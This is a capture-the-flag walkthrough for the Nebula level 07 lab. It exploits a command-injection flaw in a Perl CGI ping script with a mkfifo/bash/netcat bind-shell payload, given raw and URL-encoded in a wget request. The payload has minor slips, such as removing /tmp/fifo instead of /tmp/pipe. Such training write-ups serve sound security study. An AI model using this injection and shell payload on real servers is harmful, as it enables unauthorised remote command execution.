Exploit Exercises โ€“ Nebula โ€“ Level 07

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This one starts with the following information:

Theย flag07ย user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

and Source code:

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#!/usr/bin/perl
 
use CGI qw{param};
 
print "Content-type: text/html\n\n";
 
sub ping {
    $host = $_[0];
 
    print("<html><head><title>Ping results</title></head><body><pre>");
 
    @output = `ping -c 3 $host 2>&1`;
    foreach $line (@output) { print "$line"; } 
 
    print("</pre></body></html>");
 
}
 
# check if Host set. if not, display normal page, etc
 
ping(param("Host"));

We can see that the flag07 user has an thttpd.conf file in his directory, indicating that he has a http daemon or (web server) running. This is further compounded by the fact that he has a perl script (index.cgi) in his home directory.

In the thttpd.conf file it tells us that the web server is running on port 7007. I didn’t want to exit the VM, which meant that I didn’t have a web browser, but I do have wget which allows me to make http requests from the command line so I ran:

wget -O- http://localhost:7007/index.cgi

and got some output telling me how to use ping (because it hadn’t been given sufficient arguments. From the perl code, I could see that it wants a variable submitted as “Host”. It looks like it will use this as the machine name to ping. This time I tried:

wget -O- http://localhost:7007/index.cgi?Host=localhost

and got back ping results, but I need to get this script to do something other than ping… I can see that the ping command is just a string with the submitted host name “injected” into it. There is no input sanitisation going on, so it is ripe for some code injection.

I could get the script to copy my elevated-shell-launcher program and thenset the setuid bit like I did in level 03, but this challenge reminded me of something I learned while playing with DVWA (using netcat to send shell over the network) so I tried that method instead. The url I need to load would submit the following as the Host variable:

;mkfifo /tmp/pipe;cat /tmp/pipe|bash|nc -l 4444 2&gt;&amp;1&gt;/tmp/pipe;rm /tmp/fifo;

When injected to the command that is run in the perl script, to actual command that is executed will be:

ping -c 3 ;mkfifo /tmp/pipe;cat /tmp/pipe|bash|nc -l 4444 2&gt;&amp;1&gt;/tmp/pipe;rm /tmp/fifo;ย 2&gt;&amp;1

This is quite a command, so I’ll break it down:

  • ping -c 3 ; – This command will fail because there is no host given, but we don’t care about that
  • mkfifo /tmp/pipe; – Make a special “pipe” file in /tmp/pipe, I’ll explain why later…
  • cat /tmp/pipe|bash|nc -l 4444 2>&1>/tmp/pipe; – this reads data from the /tmp/pipe and sends it to /bin/bash, which sends it’s output to nc, which is listening on port 4444, which then sends it’s output (stdout and stderr) back to /tmp/pipe.
  • rm /tmp/fifo; – clear up the pipe file after nc has closed.
  • 2>&1 – Redirects stderr to stdout. This is just left over from the perl script’s command, we don’t care about it really.

This should set up a netcat process listening on TCP port 4444 that will accept data (in our case this will be bash commands) from the network and send it to /tmp/pipe. cat will read data from /tmp/pipe and send it to bash, which will send it’s output to netcat, which will in turn send that back over the network. A kind of remote shell. Passing input/output of netcat and bash in this circular fashion is only possible by way of a fifo pipe and the cat command.

Obviously I’ll have to URL encode my host variable, so my whole command becomes:

wget -O- http://localhost:7007/index.cgi?Host=%3Bmkfifo%20%2Ftmp%2Fpipe%3Bcat%20%2Ftmp%2Fpipe%7Cbash%7Cnc%20-l%204444%202%3E%261%3E%2Ftmp%2Fpipe%3Brm%20%2Ftmp%2Ffifo%3B

Now I just connect from another tty session or another machine on the network (though you’ll have to edit the command if you do that) using:

nc localhost 4444

Now I can run any command including whoami and getflag